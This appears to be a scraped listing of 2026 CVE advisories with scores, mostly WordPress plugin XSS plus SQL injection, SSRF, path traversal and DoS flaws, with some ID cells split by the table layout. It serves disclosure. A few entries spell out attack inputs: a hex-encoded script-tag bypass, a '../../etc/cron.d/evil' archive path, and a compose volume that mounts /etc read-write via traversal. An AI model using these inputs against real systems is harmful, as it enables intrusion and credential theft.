CVE-2026-17149	The Points Management System For Gamification, Ranks, Badges, and Loyalty Rewards Program – myCred plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'wrapper' Shortcode Attribute in all versions up to, and including, 3.2.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-	The My Calendar – Accessible Event Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'before' and 'after' Shortcode Attributes in all versions up to, and including, 3.8.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level	6.4	More

77187	access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.		Details
CVE-2026-13709	The Graphina – Charts and Graphs For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'iq_tree_tree_chart_template' Widget Setting in all versions up to, and including, 3.1.11 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-75966	The Podlove Podcast Publisher plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'episode_contributor[..][..][comment]' Parameter in all versions up to, and including, 4.5.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The contributor comment is stored in a plugin-managed custom table, bypassing WordPress core's wp_kses_post filter, and the save_post hook fires without a nonce check, meaning any user who can edit posts can exploit this without further preconditions.	6.4	More Details
CVE-2026-4657	The Easy Google Fonts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the control_selectors meta field in all versions up to, and including, 2.0.4. This is due to the plugin registering the control_selectors meta field with show_in_rest enabled but without a sanitize_callback, and subsequently outputting this unsanitized data directly into <style> tags on the frontend without proper escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-15889	The Aruba HiSpeed Cache plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Post Content in all versions up to, and including, 3.0.14 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-10148	The Booking for Appointments and Events Calendar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple Elementor widgets in versions up to and including 2.4.9. This is due to insufficient input sanitization and output escaping on the 'load_manually' parameter in the render() methods of classes. This makes it possible for authenticated attackers, with Contributor-level access and above who can use Elementor, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The vulnerability was partially patched in version 2.4.8.	6.4	More Details
CVE-2026-15796	The Builderall for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'bg_video_service_url' Setting in all versions up to, and including, 3.0.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-15820	The Builderall for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Photo Module 'attributes' Setting in all versions up to, and including, 3.0.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-77186	The My Calendar – Accessible Event Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'fallback' Shortcode Attribute in all versions up to, and including, 3.8.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The bypass relies on hex-encoded shortcode attribute payloads (e.g. \x3cscript\x3e), which wp_kses_post cannot strip on save because they appear as literal backslash sequences rather than real HTML tags; WordPress core's shortcode_parse_atts() then calls stripcslashes() at render time, decoding the escapes into real angle brackets before they reach the unescaped sink.	6.4	More Details
CVE-2026-90501	A security vulnerability has been detected in lenve vhr 1.0-SNAPSHOT. This issue affects the function HrInfoController.updateHr of the file HrMapper.xml. Such manipulation of the argument Password leads to improper privilege management. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.	6.3	More Details
CVE-2026-90525	A weakness has been identified in itsourcecode Sales and Inventory System 1.0. This affects an unknown function of the file /pages/cust_pos_trans.php. Executing a manipulation of the argument firstname can lead to sql injection. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks.	6.3	More Details
CVE-2026-90492	A security vulnerability has been detected in webgjc web_robot 2.4.0/2.5.0/2.8.0. The affected element is the function controller_listen/controller_recover of the file py/web.py. The manipulation of the argument case_name leads to os command injection. It is possible to initiate the attack remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.	6.3	More Details

CVE-2026-86749	Snipe-IT versions <= 8.6.3 (fixed in 8.7.0) do not check the return value of storage write operations in ImageUploadRequest::handleImages(). Because Laravel's default disk mode does not throw on failure, a silently failed Storage::disk('public')->put(...) call still caused the application to delete the previous image via deleteExistingImage() and to reassign and persist the model's image reference to the new filename, destroying the existing image and leaving the database row pointing at a file that was never written. A mirror problem existed in deleteExistingImage(), where a failed Storage::delete() still nulled the model's image field, orphaning the file on disk. The condition is not directly attacker-controlled: it is triggered when any legitimate authenticated user submits an image upload while the storage backend transiently fails (for example an S3 network error, a local filesystem permission problem, or quota exhaustion). The result is unrecoverable loss of the prior image and a durable inconsistency between the database and disk that requires manual reconciliation. All models whose controllers route through ImageUploadRequest::handleImages (assets, asset models, users, companies, manufacturers, locations, categories, suppliers, departments, and other image-carrying models) are affected.	6.3	More Details
CVE-2026-88859	A flaw was found in Evolution. A remote attacker can exploit this vulnerability by sending a specially crafted HTML email containing a spoofed vCard control. When a victim clicks on this control, Evolution's trusted JavaScript handler incorrectly assigns an attacker-controlled JavaScript URL to an iframe's source. This action leads to arbitrary JavaScript execution within the mail-viewing context, effectively bypassing the security measures designed to prevent script execution in email content.	6.3	More Details
CVE-2026-90594	A vulnerability was identified in wxiaoqi Spring-Cloud-Platform 3.0.1/3.1.0. This vulnerability affects the function PermissionService.checkUserPermission of the file /rpc/service/PermissionService.java of the component Permission Service. The manipulation leads to missing authorization. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.	6.3	More Details
CVE-2026-89258	Hugo is a static site generator. In versions after v0.123.0 and before v0.165.0, symlinks in parent directories were not dropped during direct resource lookups, allowing path confinement to be bypassed. An attacker who can place — or who convinces a site author to place — a symlink inside a mounted directory (for example, in a locally vendored theme under themes/) can cause functions that perform direct lookups, such as resources.Get and os.ReadFile, to follow that symlink and read files outside the intended project boundaries, disclosing their contents in the built site. Themes mounted as Go modules fetched from GitHub have symlinks stripped on download and are not affected, and multi-directory walks (e.g. content/asset walking) are not affected. This issue is an incomplete-fix follow-up to GHSA-c3wq-j5vh-68rc and GHSA-fw87-fv5r-9fpw; it is fixed in v0.165.0.	6.3	More Details
CVE-2026-90574	A security flaw has been discovered in itsourcecode Sales and Inventory System 1.0. This affects an unknown function of the file /pages/emp_transac.php?action=add. The manipulation of the argument firstname results in sql injection. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks.	6.3	More Details
CVE-2026-88014	rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.72.0 until 1.75.1, the archive ZIP backend method (*Fs).readZip in backend/archive/zip/zip.go accepts archive/zip.File.Name values from an untrusted central directory and exposes cleaned entry names without ensuring that they remain inside the archive namespace. Entries such as ../../etc/cron.d/evil can survive path.Clean and become Object.Remote() values that fs/sync and fs/operations use as destination-relative paths, allowing rclone copy or sync to write outside the selected destination on backends that do not independently confine the path. The non-empty root check also used strings.HasPrefix without a path boundary, so root foo could incorrectly include sibling foobar entries. This issue is fixed in version 1.75.1.	6.3	More Details
CVE-2026-90461	OpenStack Ironic through 38.0.0 may send a username and password to an unexpected remote host when Image Service is configured for HTTP(S) Basic Authentication.	6.3	More Details
CVE-2026-90490	A security flaw has been discovered in lenve vhr 1.0-SNAPSHOT. This issue affects some unknown processing of the component MailReceiver. Performing a manipulation results in deserialization. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.	6.3	More Details
CVE-2026-90507	A vulnerability was identified in vvbbnn00 WARP-Clash-API up to c7bf2360073959861219b422e51ae86411051b46. Affected is the function get_surge_subscription of the file services/subscription.py of the component Subscription Handler. Such manipulation of the argument key leads to improper access controls. The attack may be launched remotely. The exploit is publicly available and might be used. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.	6.3	More Details
CVE-2026-79973	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Unsynchronized Access to Shared Data in a Multithreaded Context vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to denial of service.	6.3	More Details

CVE-2026-90491	A weakness has been identified in sanjevirau gsubs up to 1.0.3. Impacted is the function showQuerySuccessPage of the file renderer/index.js of the component Electron. Executing a manipulation of the argument filename can lead to code injection. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.	6.3	More Details
CVE-2026-86774	Snipe-IT versions before 8.7.0 contain a broken access control vulnerability in AssetModelPolicy where the files() method cascades from assets.files permission, allowing authenticated users to upload and delete file attachments on Asset Model records without the required models.files permission. Attackers with only assets.files permission can mutate shared model file attachments across company boundaries and bypass the dedicated models.files permission intended to restrict file management on the shared Asset Model catalog.	6.3	More Details
CVE-2026-90519	A weakness has been identified in PHPGurukul Bank Locker Management System 1.0. Affected is an unknown function of the file /blms/banker/add-locker-form.php. This manipulation of the argument addressproof causes unrestricted upload. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks.	6.3	More Details
CVE-2026-90486	A vulnerability has been found in openstatusHQ openstatus up to f04c827112f30a11d571ebdad3892826034d6265. Affected by this vulnerability is an unknown functionality of the file apps/status-page/src/lib/proxy/resolve-custom-domain-rewrite.ts. The manipulation leads to server-side request forgery. The attack may be initiated remotely. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The identifier of the patch is 86f370c9c20074c3c3fdec53a359874b8e670fd4. It is suggested to install a patch to address this issue. This issue got fixed with a silent patch.	6.3	More Details
CVE-2026-87047	Tanium addressed an improper access controls vulnerability in Comply.	6.3	More Details
CVE-2026-81788	Subscriber Broken Access Control in IMPress for IDX Broker <= 3.3.0 versions.	6.3	More Details
CVE-2025-70819	Zettlab D6 Ultra before 1.7.0 allows mounting /etc/passwd and /etc/shadow in a container via ".." manipulations such as volumes: - ../../../../../../etc:/h_etc:rw in a compose file.	6.3	More Details
CVE-2026-90598	A vulnerability was detected in jaygajera17 E-commerce-project-springBoot up to 5e74a46b4b70623d0e4a0c9c4aee3bd1777185d2. The impacted element is the function UserController.updateUser of the file UserController.java. Performing a manipulation of the argument userid results in authorization bypass. It is possible to initiate the attack remotely. The exploit is now public and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The pull request to fix this issue awaits acceptance.	6.3	More Details
CVE-2026-90518	A security flaw has been discovered in PHPGurukul Bank Locker Management System 1.0. This impacts an unknown function of the file sidebar.php. The manipulation of the argument UserType results in improper access controls. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks.	6.3	More Details
CVE-2026-9327	IBM WebSphere Application Server 9.0, and 8.5 could allow an authenticated user with a low-privilege administrative role to modify security configuration. This could result in information disclosure or denial of service.	6.3	More Details
CVE-2026-90597	A security vulnerability has been detected in itsourcecode Sales and Inventory System 1.0. The affected element is an unknown function of the file /pages/sup_edit1.php. Such manipulation of the argument ID leads to sql injection. The attack may be performed from remote. The exploit has been disclosed publicly and may be used.	6.3	More Details
CVE-2026-90581	A vulnerability was determined in cym1102 nginxWebUI up to 4.4.2. This issue affects the function MainController.autoUpdate of the file /adminPage/main/autoUpdate. This manipulation of the argument url causes code injection. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized. The pull request to fix this issue awaits acceptance.	6.3	More Details
CVE-2026-90595	A security flaw has been discovered in wxiaoqi Spring-Cloud-Platform 1.0/2.2/3.0. This issue affects the function OnlineController.getOnlineInfo of the file aceModules/ace-admin/auth/controller/OnlineController.java. The manipulation results in missing authorization. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.	6.3	More Details
	A vulnerability was found in FlowiseAI Flowise up to 3.0.2. This vulnerability affects the function axios.post of the file packages/server/src/controllers/evaluations/index.ts of the component Evaluations Endpoint. The		

CVE-2026-90580	manipulation of the argument Host/X-Forwarded-Proto results in server-side request forgery. The attack may be launched remotely. The exploit has been made public and could be used. Upgrading to version 3.1.3 is able to resolve this issue. The patch is identified as 700137738bcaebefd4709021f6d6b0abcd7df0ac. It is recommended to upgrade the affected component. This vulnerability only affects products that are no longer supported by the maintainer.	6.3	More Details
CVE-2026-90511	A vulnerability was detected in GongShengyue OnlineBooks up to dfc5eacc08d3b0396c266049548618f6fb9587ea. This vulnerability affects unknown code of the file src/cn/ylcto/book/servlet/BooksServlet.java of the component listSplit Interface. The manipulation of the argument column results in sql injection. The attack may be performed from remote. The exploit is now public and may be used. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed.	6.3	More Details
CVE-2026-90600	A vulnerability has been found in itsourcecode Sales and Inventory System 1.0. This impacts an unknown function of the file /pages/inv_edit1.php. The manipulation of the argument ID leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.	6.3	More Details
CVE-2026-90488	A vulnerability was determined in Xuxueli xxl-job up to 3.4.2. This affects the function GroovyClassLoader.parseClass of the file xxl-job-core/src/main/java/com/xxl/job/core/glue/GlueFactory.java. This manipulation causes code injection. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.	6.3	More Details
CVE-2026-90500	A weakness has been identified in lenve vhr 1.0-SNAPSHOT. This vulnerability affects the function FastDFSUtils.upload of the file /hr/userface of the component Avatar Upload. This manipulation of the argument File causes unrestricted upload. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.	6.3	More Details
CVE-2026-90521	A vulnerability was found in jaychouchannel Tourism-Management-System up to 8122bf020d91199eddfff3ee02d1632a70a9a132. This issue affects some unknown processing of the file MenpiaodingdanController.java of the component CRUD. The manipulation of the argument ID results in authorization bypass. It is possible to launch the attack remotely. The exploit has been made public and could be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The patch is identified as d44ec3aa0bd2a72c8800e3befb0a9a96a6491b86. It is best practice to apply a patch to resolve this issue.	6.3	More Details
CVE-2026-90520	A vulnerability has been found in jaychouchannel Tourism-Management-System up to 84d8ec384f669df3985293dab293bb7b477efa64. This vulnerability affects unknown code of the file AuthorizationInterceptor.java of the component Authorization Interceptor. The manipulation leads to improper authorization. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The identifier of the patch is d984d172dceca907f8b447efbdb06dc233f7938d. Applying a patch is the recommended action to fix this issue.	6.3	More Details
CVE-2026-88860	Capgo fails to clean up channel permission overrides when a user's last organization role binding is deleted, leaving stale overrides active. Attackers can retain channel-specific permissions after their base RBAC access has been revoked to perform unauthorized actions like changing production OTA versions.	6.3	More Details
CVE-2026-90554	vLLM versions >=0.10.2 and <0.28.0 do not apply any audio decode-size or duration limit when extracting audio from video input for NanoNemotronVL models. In nano_nemotron_vl.py, _extract_audio_from_videos calls load_audio_pyav(BytesIO(video_bytes)) without the max_duration_s or max_decode_bytes parameters, so neither VLLM_MAX_AUDIO_DECODE_DURATION_S nor VLLM_MAX_AUDIO_DECODE_BYTES is enforced (unlike the direct audio upload path in AudioMediaIO). When a NanoNemotronVL model is served with use_audio_in_video=True, an attacker who supplies a small, highly compressed video as multimodal input can force the server to allocate gigabytes of memory during audio decoding, resulting in a denial of service. Fixed in vLLM 0.28.0.	6.2	More Details
CVE-2026-89329	A flaw was found in `multipathd`. A local attacker with access to the `multipathd` UNIX control socket can exploit this vulnerability by sending valid commands and then ceasing to read replies. This action can cause the `multipathd` listener thread to block, leading to a Denial of Service (DoS) where legitimate Inter-Process Communication (IPC) operations may hang or time out. This issue does not result in privilege escalation, arbitrary code execution, or impact data confidentiality or integrity.	6.2	More Details
CVE-2026-41987	Permission control vulnerability in the app management module. Impact: Successful exploitation of this vulnerability may affect availability.	6.2	More Details
CVE-2026-71616	An issue in GPAC c2dee3aff638cd96f9617ac5b17dc2868cd90ef3 allows an attacker to cause a denial of service via the function gf_route_media_complete_object(). Fixed in 3c4e6c5b3e0c6fa9b16d55599701a08354538fab.	6.2	More Details

CVE-2026-49311	Permission control vulnerability in the event notification module.Impact: Successful exploitation of this vulnerability may affect availability.	6.2	More Details
CVE-2026-53937	MCP Kotlin SDK is the Kotlin Multiplatform software development kit for the Model Context Protocol. In versions 0.7.0 through 0.12.0, `ReadBuffer.append` in `kotlin-sdk-core/src/commonMain/kotlin/io/modelcontextprotocol/kotlin/sdk/shared/ReadBuffer.kt` writes every chunk of bytes received from the stdio transport into a `kotlinx.io.Buffer` with no size cap. Frames are extracted from that buffer only when a `\n` (0x0a) byte is observed. A peer that streams bytes without ever sending a newline causes the internal buffer to grow indefinitely until the JVM (or the surrounding host process) is OOM-killed. The leak is amplified by `StdioServerTransport` and `StdioClientTransport`, which both queue raw chunks through a `kotlinx.coroutines.channels.Channel<ByteArray>(Channel.UNLIMITED)` and then call `readBuffer.append(chunk)` without backpressure or size guard. This is a remote-pre-auth denial of service whenever an SDK stdio server's stdin is fed by an untrusted or attacker-controlled producer (for example: a host program that exec's the MCP server as a subprocess and pipes through bytes received from a network peer, or a sidecar wrapper that proxies bytes from an HTTP endpoint to the stdio transport). Version 0.13.0 fixes the issue.	6.2	More Details
CVE-2026-87732	An issue was discovered in the mirage-crypto package before 2.2.0 for OCaml. The AES.GCM.authenticate_decrypt_into and Chacha20.authenticate_decrypt_into functions write the decrypted plaintext into a caller-provided buffer and only then compares the tag. On a forged tag, the functions returns false, but the destination buffer already holds the full plaintext.	6.2	More Details
CVE-2026-48496	OpenTelemetry eBPF Profiler is a production-scale agent for profiling applications across multiple programming languages. Starting in version 0.0.202527 and prior to version 0.0.202622, an unprivileged process can cause the profiler to open a nonregular mapping file, such as a FIFO, and block indefinitely, preventing further ELF analysis and causing a denial of service. Version 0.0.202622 contains a patch. No known workarounds are available.	6.2	More Details
CVE-2026-86547	mrubyc through 4.0.0 contains a null pointer dereference vulnerability in the op_enter() handler in src/vm.c when processing untrusted bytecode. Attackers can craft malicious .mrb bytecode files with OP_ENTER instructions at the top level to crash the embedding application and cause denial of service.	6.2	More Details
CVE-2026-87733	An issue was discovered in the mirage-crypto-ec function before 2.2.0 for OCaml. The ECDSA functions {P256,P384,P521}.Dsa.pub_of_octets accept 0x00, the encoding of the point at infinity, as a public key. With that public key, signatures can be forged without a private key.	6.2	More Details
CVE-2026-89247	WWBN AVideo at commit c3edcc274c389816d434acadac07ee78eaf330c1 and earlier contains an XML injection vulnerability in plugin/AD_Server/VMAP.php, which is reachable without authentication when the AD_Server plugin is enabled. The script emits Content-Type: application/xml and writes the timeOffset and idTag values returned by AD_Server::getVMAPSFromRequest() directly into VMAP attributes without encoding. Those values originate from the base64- and JSON-decoded $_REQUEST['vmaps'] parameter, which is not covered by $securityFilter in objects/security.php. A remote attacker can craft a vmaps value (containing a non-empty VAST.campaing entry) and induce a user to open the resulting VMAP URL or a video page using it, injecting arbitrary <vmap:AdBreak> and <vmap:AdTagURI>/AdSource nodes into the generated XML. The player's IMA path (afterVideoJS -> PlayerSkins::setIMAADTag) then requests the attacker-supplied ad URLs, resulting in ad injection and cross-origin requests from the victim's playback session. The issue was unfixed at the time of reporting.	6.1	More Details
CVE-2026-18562	The HUSKY – Products Filter Professional for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via SEO-friendly permalink filter URL segments in versions up to, and including, 1.4.3. This is due to insufficient input sanitization and output escaping in the wp_load_js() function, which reads filter values from the URL path via the url_request extension's parse_url_query() and embeds them into an inline JavaScript string using json_encode() without escaping single quotes. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a specially crafted link.	6.1	More Details
CVE-2026-18964	The Floating Chat Widget: Contact Chat Icons, Telegram Chat, Line Messenger, WeChat, Email, SMS, Call Button – Chaty plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 's' parameter in all versions up to, and including, 3.5.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. WordPress's server-side HTML encoding of the 's' search parameter in the <title> element is bypassed because the browser DOM API decodes HTML entities when jQuery's .text() method reads document.title, returning literal special characters that are then embedded unescaped into the constructed HTML attribute value.	6.1	More Details
CVE-2026-	The Relevanssi – A Better Search plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in versions up to, and including, 4.28.1 via the 's', 'post_types', and 'orderby' request parameters. This is due to insufficient input sanitization and output escaping in the relevanssi_debug_array() function in lib/debug.php, which dumps user-supplied query variables through print_r() inside a <pre> block without HTML escaping. The debug path is enabled by supplying the relevanssi_debug=on request parameter when the administrator	6.1	More Details

19985	has previously enabled the 'Debugging mode' setting; the gate itself is a configuration check with no capability, nonce, or logged-in check (the vendor explicitly suppresses nonce verification on that line). This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a specially crafted link.		
CVE-2026-77150	The Unlimited Elements For Elementor plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via 'data[name]' Parameter in all versions up to, and including, 2.0.16 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. The show_preview AJAX action is registered for unauthenticated users and is gated only by a nonce, which an unauthenticated attacker can retrieve by loading any publicly accessible page that emits it.	6.1	More Details
CVE-2026-90557	Freeciv versions 3.1.0 through 3.2.5 contain an out-of-bounds read vulnerability in sg_load_player_unit() when processing savegame files with invalid unit activity indices. An attacker can craft a malicious savegame file with an out-of-range activity index that bypasses bounds checking and causes a crash or limited heap memory exposure when loaded.	6.1	More Details
CVE-2026-7804	The Product Filter for WooCommerce by WBW plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'wpf_fid' parameter in all versions up to, and including, 3.4.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. Exploitation requires the crafted request to target a page where a filter using the vulnerable recalculation output is present.	6.1	More Details
CVE-2026-84960	The WP-Members Membership Plugin plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via URL Query String in all versions up to, and including, 3.5.6 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. Successful exploitation requires the victim to first visit the attacker-crafted URL and then click the Terms of Service link rendered on the resulting registration page.	6.1	More Details
CVE-2026-21103	Path traversal in GalaxyDiagnostics prior to SMR Sep-2026 Release 1 allows physical attackers to access files with system privilege.	6.1	More Details
CVE-2026-78172	The Themify – WooCommerce Product Filter plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via Query Parameter Name in all versions up to, and including, 1.5.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.	6.1	More Details
CVE-2026-86748	Snipe-IT versions before 8.7.0 wipe the database before validating the uploaded backup archive in the restore endpoint. Superusers uploading corrupted or invalid zip files trigger permanent data loss with no recovery path or rollback mechanism.	6.1	More Details
CVE-2026-89244	WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a reflected cross-site scripting vulnerability in plugin/Gallery/view/Category.php when SubCategorys is enabled. The getBackURL parameter is echoed into an href attribute without HTML encoding, allowing attackers to inject malicious scripts that execute in visitors' browsers when they interact with the Back control.	6.1	More Details
CVE-2026-18495	A flaw was found in libtiff. A heap-buffer overflow vulnerability exists in the `tiff2pdf` utility due to an integer truncation error when processing crafted BigTIFF files. An attacker can provide a specially crafted BigTIFF file, causing a 64-bit `StripByteCounts` value to be truncated to a 32-bit integer. This leads to an undersized memory allocation and a subsequent out-of-bounds memory copy, resulting in a crash and severe memory corruption.	6.1	More Details
CVE-2026-89241	WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a reflected cross-site scripting vulnerability in confirmLivePassword.php that copies REQUEST_URI into a form action attribute without encoding. Attackers can craft a malicious URL with a quote character to break out of the action attribute and inject event handlers that execute in the victim's browser within the site origin.	6.1	More Details
CVE-2026-89240	WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a reflected cross-site scripting vulnerability in plugin/Live/confirmLivePassword.php. The script interpolates the unauthenticated GET parameter u (which is not covered by $securityFilter) directly into an <img src="..."> attribute without URL- or HTML-encoding. A remote attacker can craft a link containing a double-quote character in u (with a non-empty key parameter and no valid c parameter) to close the src attribute and inject an additional tag with an onerror handler, executing arbitrary JavaScript in the site's origin in the browser of any user, including an administrator, who opens the link. No patched version was available at the time of the advisory.	6.1	More Details
CVE-2026-	Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Edge (Chromium-based) allows an unauthorized attacker to perform spoofing over a network.	6.1	More Details

77490			
CVE-2026-89239	WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a reflected cross-site scripting vulnerability in the showAlertMessage() function that inserts the raw Referer header into a JavaScript comment without encoding. Attackers can craft a Referer header containing */ to close the comment and inject arbitrary JavaScript that executes in the site origin for visitors arriving from the attacker-controlled page.	6.1	More Details
CVE-2026-7298	Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in IdeaSoft Software Industry and Trade Inc. Smart E-Commerce allows Reflected XSS. This issue affects Smart E-Commerce: through 11092026. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	6.1	More Details
CVE-2026-75307	zhitan-ems 1.0.0 is vulnerable to Cross Site Scripting (XSS) via SVG file upload through the /equipmentFile/upload endpoint.	6.1	More Details
CVE-2026-79035	A reflected cross-site scripting (XSS) vulnerability in the p.rfihub.com component of Zeta Marketing Platform (ZMP) v1.0 allows attackers to execute arbitrary Javascript in the context of the victim's browser via injecting a crafted URL into the ca parameter.	6.1	More Details
CVE-2026-75308	yshopmall <=3.3 is vulnerable to Cross Site Scripting (XSS). The file upload endpoint /api/upload of the system lacks file type validation. Attackers can upload files of any type, including HTML, JSP, and other executable files.	6.1	More Details
CVE-2026-82535	Chamilo LMS before 1.11.42 and 3.0.0 contains a stored cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious script payloads into survey answers by computing deterministic invitation codes and bypassing authorization checks in the survey submission endpoint. Attackers can submit crafted answers containing unescaped HTML rendered in reporting views to execute arbitrary scripts in the browser sessions of teachers or administrators, enabling persistent backdoor account creation by exploiting the victim's authenticated session.	6.1	More Details
CVE-2026-19797	The User Access Manager plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'tab_group_section' parameter in all versions up to, and including, 2.3.18 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.	6.1	More Details
CVE-2026-87640	Out of bounds read in WebView in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)	6.1	More Details
CVE-2026-85645	The Form Maker by 10Web – Mobile-Friendly Drag & Drop Contact Form Builder plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the bulk_action parameter in all versions up to, and including, 1.15.46 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.	6.1	More Details
CVE-2026-78377	URL redirection to untrusted site ('open redirect') vulnerability in Yordam Informatics Technology Consulting, Training, and Electronic Systems Industry and Trade Inc. Library Information and Document Automation Program allows Phishing. This issue affects Library Information and Document Automation Program: from v22.1 before v22.2.	6.1	More Details
CVE-2026-86756	Snipe-IT 8.5.0 through 8.6.3 contains an open redirect vulnerability in its SAML assertion-consumer endpoint (SamlController::acs, POST /saml/acs). The endpoint wrote the RelayState POST parameter directly into Laravel's url.intended session key with only CR/LF characters stripped, and LoginController later issued redirect()->intended(), which passes an absolute URL through to the Location header unchanged. An unauthenticated attacker who induces a user of a SAML-SSO-enabled instance to visit a crafted IdP-initiated SSO link can therefore cause the victim's browser to be redirected to an arbitrary absolute external URL immediately after a successful authentication, which the advisory notes facilitates credential-harvesting phishing. No account on the target instance and no compromise of the identity provider are required. Only deployments with SAML SSO enabled are affected. Fixed in 8.7.0 (commit d30b73d, PR #19386), which validates RelayState via a new Helper::sameOriginUrl check before storing it.	6.1	More Details
CVE-2026-88763	A flaw was found in the skupper-router component of Red Hat Service Interconnect, which is used to provide secure communication between distributed services. The issue occurs when the router processes a specially crafted network message using its AMQP field parser. Due to a lack of bounds on recursion during parsing, the router can run out of stack memory and crash, leading to a denial of service for the interconnected network.	5.9	More Details
